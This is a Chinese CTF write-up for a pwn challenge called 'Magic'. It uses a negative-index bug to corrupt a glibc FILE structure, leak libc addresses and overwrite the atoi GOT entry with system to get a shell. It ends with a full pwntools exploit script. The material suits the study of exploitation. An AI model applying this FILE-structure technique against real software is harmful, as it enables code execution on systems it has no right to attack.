Magic
本题知识点,FILE结构体的攻击
首先,检查一下程序的保护机制,发现PIE和RELRO没有开启,或许我们可以很方便的修改GOT表
然后,我们用IDA分析一下,发现wizard_spell函数存在数组下标向负数越界的漏洞
然后是create函数
然后,我们用IDA调试一下,发现wizards[-2]处就是log_file的地址,而这句可以修改FILE结构体的第40字节处的数据。
让我们先来看看log_file的结构体内容
偏移40字节处是_IO_write_ptr,而_IO_write_ptr是缓冲区的地址,下一次写数据时,如果_IO_write_ptr与_IO_write_end不相等,那么就会往_IO_write_ptr指向的区域写数据,而程序正好能够修改这里的内容,那么,我们把它修改,让它指向log_file结构体本身,那么我们就能修改整个log_file结构体,修改_IO_read_ptr和_IO_read_end,这样read时,就能泄露地址信息,然后将_IO_write_ptr指向目标地址,写目标地址,比如修改got表。
显然,当前_IO_write_ptr为0,缓冲区还未初始化,因此,我们需要先调用create来初始化一下
- #这两步是为了初始化FILE的结构体
- create()
- WizardSpell(0,'seaase')
然后,我们再看一下结构体中的内容
我们看到,缓冲区已经初始化了,现在我们就要开始攻击了
- #修改log_file结构体的_IO_write_ptr
- for i in range(8):
- #_IO_write_ptr = _IO_write_ptr + 1 - 50
- WizardSpell(-2,'\x00')
- #在不影响log_file结构体的情况下,我们抬升_IO_write_ptr 13个字节,然后再-=50
- WizardSpell(-2,'\x00'*13)
- for i in range(3):
- #_IO_write_ptr = _IO_write_ptr + 1 - 50
- WizardSpell(-2,'\x00')
- #在不影响log_file结构体的情况下,我们抬升_IO_write_ptr 9个字节,然后再-=50
- WizardSpell(-2,'\x00'*9)
- WizardSpell(-2,'\x00')
在修改时,要注意不要破坏其他地方的数据,因此,上述的各个内容,都是在调试后确定的。比如,我们每调用一次WizardSpell(-2,'\x00'),_IO_write_ptr = _IO_write_ptr + 1 – 50,而WizardSpell(-2,'\x00'*13),_IO_write_ptr = _IO_write_ptr + 13 – 50也就是说,内容的长度可以抬高_IO_write_ptr
Glibc中的源码是这样的
经过上面的操作,现在_IO_write_ptr就指向了log_file的结构体附近处,我们就可以改写log_file的结构体了。为了泄露地址信息,我们需要改写_IO_read_ptr 和_IO_read_end,
- #现在,_IO_write_base指向了log_file的结构体附近处,我们可以修改log_file的结构体了
- payload = '\x00' * 3 + p64(0x231)
- #flags
- payload += p64(0xFBAD24A8)
- WizardSpell(0,payload)
- #_IO_read_ptr _IO_read_end
- payload = p64(atoi_got) + p64(atoi_got+0x100)
- WizardSpell(0,payload)
- atoi_addr = u64(sh.recv(8))
- print hex(atoi_addr)
- libc = LibcSearcher('atoi',atoi_addr)
- libc_base = atoi_addr - libc.dump('atoi')
- system_addr = libc_base + libc.dump('system')
请注意红色部分,我们用的是WizardSpell(0,payload)而不是WizardSpell(-2,payload),这是因为WizardSpell(-2,payload)会使得_IO_write_ptr – 50,这样,_IO_write_ptr就会指向上面的不可写的段,使得我们不能第二次利用。而WizardSpell(0,payload) 只会把_IO_write_ptr+= len(payload),而不会让_IO_write_ptr再减去50.因为被减50的是结构体0对应的第40个字节处的数据。
现在,我们得到了需要的地址信息,我们要开始攻击atoi的GOT表了,我们想把_IO_write_ptr指向atoi的GOT表,于是,我们尝试这样修改结构体
- payload = p64(atoi_got) * 3 + p64(atoi_got + 8)
- WizardSpell(0,payload)
然后,我们看看结FILE构体的内容
发现,除了_IO_write_ptr没有成功修改,其他都改了。这是怎么回事?
我们用IDA跟踪fwrite函数,发现程序最终会调用_IO_new_file_xsputn函数,然后,我们跟进_IO_new_file_xsputn函数,发现,这一句代码改变了_IO_write_ptr的值
对应的汇编代码
然后,我们去看看libc的源码,对照一下,发现
经过调试,发现图中的loc_7FA3926C73B0就是__memcpy,它返回值rax为复制后的结尾指针,比如,p=xxx,那么__memcpy(p,s,count)就是返回的p + count,因此, _IO_write_ptr再一次被覆盖,变回了原来的正常情况地址。
由此,我们不能通过fwrite来对_IO_write_ptr做修改,我们应该借助fread来修_IO_write_ptr。我总结了一下,如果是read操作,我们可以修改write相关的指针,如果是write操作,我们可以修改read相关指针。
由于程序在fwrite后接着就调用fread,所以,我们利用fread来修改_IO_write_ptr
我们还是来分析一下fread的源码,经过跟踪,发现fread最终会调用_IO_new_file_underflow函数,然后,我们分析一下_IO_new_file_underflow函数
- int
- _IO_new_file_underflow (_IO_FILE *fp)
- {
- _IO_ssize_t count;
- #if 0
- /* SysV does not make this test; take it out for compatibility */
- if (fp->_flags & _IO_EOF_SEEN)
- return (EOF);
- #endif
- if (fp->_flags & _IO_NO_READS)
- {
- fp->_flags |= _IO_ERR_SEEN;
- __set_errno (EBADF);
- return EOF;
- }
- if (fp->_IO_read_ptr < fp->_IO_read_end)
- return *(unsigned char *) fp->_IO_read_ptr;
- if (fp->_IO_buf_base == NULL)
- {
- /* Maybe we already have a push back pointer. */
- if (fp->_IO_save_base != NULL)
- {
- free (fp->_IO_save_base);
- fp->_flags &= ~_IO_IN_BACKUP;
- }
- _IO_doallocbuf (fp);
- }
- /* Flush all line buffered files before reading. */
- /* FIXME This can/should be moved to genops ?? */
- if (fp->_flags & (_IO_LINE_BUF|_IO_UNBUFFERED))
- {
- #if 0
- _IO_flush_all_linebuffered ();
- #else
- /* We used to flush all line-buffered stream. This really isn't
- required by any standard. My recollection is that
- traditional Unix systems did this for stdout. stderr better
- not be line buffered. So we do just that here
- explicitly. --drepper */
- _IO_acquire_lock (_IO_stdout);
- if ((_IO_stdout->_flags & (_IO_LINKED | _IO_NO_WRITES | _IO_LINE_BUF))
- == (_IO_LINKED | _IO_LINE_BUF))
- _IO_OVERFLOW (_IO_stdout, EOF);
- _IO_release_lock (_IO_stdout);
- #endif
- }
- _IO_switch_to_get_mode (fp);
- /* This is very tricky. We have to adjust those
- pointers before we call _IO_SYSREAD () since
- we may longjump () out while waiting for
- input. Those pointers may be screwed up. H.J. */
- fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base;
- fp->_IO_read_end = fp->_IO_buf_base;
- fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end
- = fp->_IO_buf_base;
- count = _IO_SYSREAD (fp, fp->_IO_buf_base,
- fp->_IO_buf_end - fp->_IO_buf_base);
- if (count <= 0)
- {
- if (count == 0)
- fp->_flags |= _IO_EOF_SEEN;
- else
- fp->_flags |= _IO_ERR_SEEN, count = 0;
- }
- fp->_IO_read_end += count;
- if (count == 0)
- {
- /* If a stream is read to EOF, the calling application may switch active
- handles. As a result, our offset cache would no longer be valid, so
- unset it. */
- fp->_offset = _IO_pos_BAD;
- return EOF;
- }
- if (fp->_offset != _IO_pos_BAD)
- _IO_pos_adjust (fp->_offset, count);
- return *(unsigned char *) fp->_IO_read_ptr;
- }
首先,上面17、18行我们看到,如果fp->_IO_read_ptr小于fp->_IO_read_end,就会直接返回,因此,我们在fwrite时,应该伪造fp->_IO_read_ptr和fp->_IO_read_end,使得条件不满足,继续向下执行,就会来到59、60、61行,这里有对fp->_IO_write_ptr赋值,并且其值为_IO_buf_base,因此,在fwrite时,还应该伪造_IO_buf_base为我们攻击的目标地址。
为了能覆盖到_IO_buf_base,首先,我们需要保证_IO_write_ptr小于_IO_write_end,因此,我们,因此,我们让_IO_write_end比_IO_write_ptr大一些,至于大多少,反正要保证_IO_buf_base的地址坐落在[_IO_write_ptr, _IO_write_end],因此,我们随便选一个,我这里选的是0x100。当然,我们需要知道_IO_write_ptr的值,由此,我们还需要泄露FILE结构体本身的地址
- #回到之前的位置
- WizardSpell(-2, p64(0) + p64(0))
- #重新写
- WizardSpell(0, '\x00' * 2 + p64(0x231) + p64(0xfbad24a8))
- #当执行fread后,要求_IO_read_ptr大于等于_IO_read_end,经过调试,发现输出以后,发现0x50正好
- WizardSpell(0, p64(log_addr) + p64(log_addr + 0x50) + p64(log_addr))
- #泄露log_file结构体的地址
- heap_addr = u64(sh.recvn(8)) - 0x10
- print 'heap addr:',hex(heap_addr)
注意,上面,我们WizardSpell(-2, p64(0) + p64(0))而不是WizardSpell(0, p64(0) + p64(0)),这是因为,用-2,使得_IO_write_ptr重新回到前面,这样,我们又可以覆盖_IO_read_ptr和_IO_read_end,并且,我们设置_IO_read_ptr = log_addr , _IO_read_end = log_addr + 0x50,这个0x50可以不用精确,只需要保证,经过二轮fread后,_IO_read_ptr大于等于_IO_read_end,这样,第三轮fread时,就可以修改_IO_write_ptr。
第一轮,我们覆盖了_IO_read_ptr和_IO_read_end,用于泄露结构体本身的地址
第二轮,我们要修改_IO_write_end
- #修改_IO_write_end
- WizardSpell(0,p64(heap_addr + 0x100)*3)
第三轮,现在_IO_read_ptr大于等于_IO_read_end,并且_IO_write_ptr指向了_IO_buf_base,那么,我们覆盖_IO_buf_base和_IO_buf_end
- #覆盖_IO_buf_base和_IO_buf_end
- #然后程序中执行fread就会修改_IO_write_ptr为_IO_buf_base
- WizardSpell(0,p64(atoi_got+0x78 + 23) + p64(atoi_got + 0xA00))
这里,我们不直接覆盖为atoi_got,而是向下偏移一些,是因为fread时
所有指针都设置为_IO_buf_base的值,使得_IO_write_end - _IO_write_ptr == 0,不满足_IO_write_ptr小于等于_IO_write_end,fwrite时,就不会写入数据。而我们向下偏移一些地址,然后我们用WizardSpell(-2,’\x00’)操作,可以让_IO_write_ptr -= 49
现在,我们就操作一下,让_IO_write_ptr指向atoi的GOT
- #
- WizardSpell(-2,'\x00')
- WizardSpell(-2,'\x00'*3)
- WizardSpell(-2,'\x00'*3)
注意,每次操作,_IO_write_ptr指向了新地方,如果这个地方的数据是有用的,不要破坏它,因此’\x00’,’\x00’*3这些都是我调试后确定的,具体也可以动手调试看看。
现在,_IO_write_ptr指向了atoi的GOT-1处,我们就可以修改atoi的GOT为system地址,拿shell
- payload = '\x00' + p64(system_addr)
- WizardSpell(0,payload)
- #getshell
- sh.sendlineafter('choice>> ','sh')
综上,我们的exp脚本
- #coding:utf8
- from pwn import *
- from LibcSearcher import *
- sh = process('./pwnh36')
- #sh = remote('111.198.29.45',41210)
- elf = ELF('./pwnh36')
- atoi_got = elf.got['atoi']
- log_addr = elf.symbols['log_file']
- def create():
- sh.sendlineafter('choice>> ','1')
- sh.sendlineafter("Give me the wizard's name:","seaase")
- def WizardSpell(index,content):
- sh.sendlineafter('choice>> ','2')
- sh.sendlineafter('Who will spell:',str(index))
- sh.sendafter('Spell name:',content)
- #这两步是为了初始化FILE的结构体
- create()
- WizardSpell(0,'seaase')
- #修改log_file结构体的_IO_write_base
- for i in range(8):
- #_IO_write_base = _IO_write_base + 1 - 50
- WizardSpell(-2,'\x00')
- #在不影响log_file结构体的情况下,我们抬升_IO_write_base 13个字节,然后再-=50
- WizardSpell(-2,'\x00'*13)
- for i in range(3):
- #_IO_write_base = _IO_write_base + 1 - 50
- WizardSpell(-2,'\x00')
- #在不影响log_file结构体的情况下,我们抬升_IO_write_base 9个字节,然后再-=50
- WizardSpell(-2,'\x00'*9)
- WizardSpell(-2,'\x00')
- #现在,_IO_write_base指向了log_file的结构体附近处,我们可以修改log_file的结构体了
- payload = '\x00' * 3 + p64(0x231)
- #flags
- payload += p64(0xFBAD24A8)
- WizardSpell(0,payload)
- #_IO_read_ptr _IO_read_end
- payload = p64(atoi_got) + p64(atoi_got+0x100)
- WizardSpell(0,payload)
- atoi_addr = u64(sh.recv(8))
- print hex(atoi_addr)
- libc = LibcSearcher('atoi',atoi_addr)
- libc_base = atoi_addr - libc.dump('atoi')
- system_addr = libc_base + libc.dump('system')
- #回到之前的位置
- WizardSpell(-2, p64(0) + p64(0))
- #重新写
- WizardSpell(0, '\x00' * 2 + p64(0x231) + p64(0xfbad24a8))
- #需要_IO_read_ptr大于等于_IO_read_end,经过调试,发现输出以后,发现0x50正好
- WizardSpell(0, p64(log_addr) + p64(log_addr + 0x50) + p64(log_addr))
- #泄露log_file结构体的地址
- heap_addr = u64(sh.recvn(8)) - 0x10
- print 'heap addr:',hex(heap_addr)
- WizardSpell(0,p64(heap_addr + 0x100)*3)
- #覆盖_IO_buf_base和_IO_buf_end
- #然后程序中执行fread就会修改_IO_write_ptr为_IO_buf_base
- WizardSpell(0,p64(atoi_got+0x78 + 23) + p64(atoi_got + 0xA00))
- #
- WizardSpell(-2,'\x00')
- WizardSpell(-2,'\x00'*3)
- WizardSpell(-2,'\x00'*3)
- payload = '\x00' + p64(system_addr)
- WizardSpell(0,payload)
- #getshell
- sh.sendlineafter('choice>> ','sh')
- sh.interactive()